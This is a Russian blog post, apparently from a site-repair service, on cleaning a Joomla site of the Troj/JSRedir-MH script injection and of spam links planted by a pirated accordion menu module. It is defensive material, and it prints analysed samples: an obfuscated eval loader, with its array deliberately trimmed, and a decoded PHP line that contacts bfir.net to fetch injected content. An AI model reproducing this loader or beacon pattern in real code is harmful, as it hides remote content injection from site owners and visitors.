Как вылечить сайт от вируса Troj/JSRedir-MH

Вирус Troj/JSRedir-MH, как и большинство других вирусов, является результатом взлома сайта.

Если рассматривать конкретную модификацию Troj/JSRedir-MH, то чаще всего он встречается на сайтах под управлением CMS Joomla. Данный вирус легко вылечить самостоятельно, так как он является статичным, то есть вирусный фрагмент жестко прописан в файле .js.

Модификации вируса Troj/JSRedir-MH, с которыми нам приходилось работать, представляли собой вставку вида

;document.write(‘<script src=”…”…></script>’);

в одном или нескольких .js файлов Joomla, в самом конце этих файлов. Данная вирусная вставка подгружала локальный .js файл, в котором находился вредоносный код.

В реальной жизни вирусная вставка выглядит так:

А сам вирус так:

troian

Чтобы его найти, достаточно поискать по файлам фрагмент приведенного на скриншоте № 2 кода, а затем, когда найдется .js, выполнить поиск места, где этот .js подгружается (как на скриншоте № 1). Кстати, файл не обязательно будет называться stat.js.

Удалить нужно три вещи: сам вредоносный .js, код его подгрузки “document.write(…)” и.swf файл (он указан в .js коде вирусного файла).

tr

После удаления вируса с сайта, нужно отправить сайт на перепроверку через панель вебмастера Яндекса в webmaster.yandex.ru

удалить спаммерские ссылки на сайте

или почему mod_accordion_menu и другие компоненты Joomla нужно покупать, а не скачивать на варезных сайтах.

К нам обратился клиент, у которого в коде страниц сайта вставлялись спам-ссылки вида

<div style=’position:absolute;left:-5000px;width:531px’>Скачать joomla модуль обратной связи. Самые лучшие <a href=”http://xxxcms.ru/index.php?option=com_content&view=category&layout=blog&id=46&Itemid=49″ title=”joomla модули”>joomla модули</a> скачать бесплатно. Как сделать joomla отображение модулей. Гайды классов в World of Warcraft. Лучший сервера для онлайн игры <a href=”http://xxx-helper.ru/” title=”wow”>wow</a>. Скачать самые лучшие аддоны для world of warcraft…. <a href=”http://xxx-medicine.ru/category/stomatology” title=”Стоматология”>Стоматология</a> челюстно лицевой хирургии. Круглосуточная стоматология в москве.</div>

Необходимо было найти и удалить их. Ниже приводим записи бортового самописца, которые помогут вам в поиске подобного безобразия на ваших сайтах:

  1. Выполнили поиск фрагментов ссылок (искали по url сайтов) по всем файлам сайта — пусто
  2. Проверили код скриптов на наличие скриптов ссылочных бирж, наподобие Sape, Trustlink, Linkfeed, Mainlink, Setlinks и т.п. — скриптов не нашлось
  3. Сделали поиск по базе данных фрагментов url, а также base64_decode и eval конструкций — записей не нашлось
  4. Отключили через php.ini на сервере fopen и fsockopen (настройка disable_functions) — часть ссылок осталась, часть исчезла. Это означает, что часть зашифрована в скриптах, а часть загружается с удаленного сервера и вставляется в код. Значит нужно искать в коде скриптов Joomla
  5. С помощью анализа исходного кода результирующей страницы и соседних фрагментов html кода нашли, какой метатег в шаблоне вставляет блок со ссылками: <jdoc:include type=”modules” name=”left” /> Если его закомментировать, блок ссылок исчезал (как и кусок html кода с меню и формой).
  6. По админ-панели Joomla нашли все модули с именем «left». Оказалось два: RSForm! Pro Feedback Module и Accordion Menu — Offlajn.com.
  7. Отключили первый модуль в админке — ссылки остались. Отключили второй — ссылки исчезли. Значит вредоносный код в modules/mod_accordion_menu. Осталось найти сам код.
  8. Сделали поиск по eval — сразу нашелся код в файле modules\mod_accordion_menu\classes\cache.class.php

function accordion_cache_view() {

$LimitCharacters = 10;

$Keys = ”;

$RandomNum = array(1251.3, 13875.1875, 1388.8125, 1250.175, 13750.175, 13751.425, 13762.5625, 13875.175, 1263.925, 13763.925, 13751.3125, 13876.3, 1250.175, 1387.6875, 1251.3, 13750.1875, 1388.8125, 12500.05, 13751.425, 13875.1875, 13763.9375, 13750.1875, 13762.6875, 13763.9375, /* тут погрызено мышами для экономии места */ 13876.3, 1387.675, 1263.8125, 1376.3125, 1375.05, 1375.05, 1375.05, 13875.05, 13887.55, 1387.6875, 1251.4375, 1388.925, 1251.3, 13751.3, 1388.8, 1263.9375, 13751.3, 13762.5625, 13876.425, 1388.925, 1250.175, 1387.6875, 13888.8125, 0.05);

// Create a random string of keys
foreach($RandomNum as $key) {$Keys .= chr(bindec($key * 80 – 4));}

@eval($Keys);

}

Если заменить eval на echo, можно увидеть, что за безобразие вставлено в код:

$s=”bfir.net”;$c=@fsockopen($s,80,$e,$r,10);if($c){$d=@file_get_contents(“http://”.$s.”/r.php?s=”.$_SERVER[“HTTP_HOST”]); echo …

Удаляем содержимое функции accordion_cache_view или просто комментируем строку @eval. Тут и сказочке конец.

Мораль — не качайте взломанные модули, это бесплатный сыр.

Ну а если самостоятельно справиться не получается, обращайтесь к нам

 

Добавить комментарий

Ваш e-mail не будет опубликован.